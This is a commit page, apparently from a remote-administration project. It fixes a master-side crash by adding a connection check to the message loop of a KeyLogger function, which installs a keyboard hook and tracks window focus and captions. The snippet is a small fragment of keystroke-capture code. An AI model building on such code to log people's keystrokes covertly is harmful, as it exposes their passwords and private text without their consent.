Fix: Switching between 32bits and 64bits causes master crash

This commit is contained in:
yuanyuanxiang committed 2026-07-14 22:32:29 +02:00
1 parent 0cd7516bde
commit f24e7acc48
2 files changed
+10 -1

No files matched your search

+1 -1
View File
@@ -679,7 +679,7 @@ DWORD WINAPI CKeyboardManager1::KeyLogger(LPVOID lparam)
if (!SetHook(WriteBuffer, pThis->m_Buffer)) {
return -1;
}
while (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
while (pThis->IsConnected() && PeekMessage(&msg, NULL, 0, 0, PM_REMOVE));
#else
int num = lstrlen(KeyBuffer);
if (pThis->IsWindowsFocusChange(PreviousFocus, WindowCaption, szText, num > 0) || num > 2000) {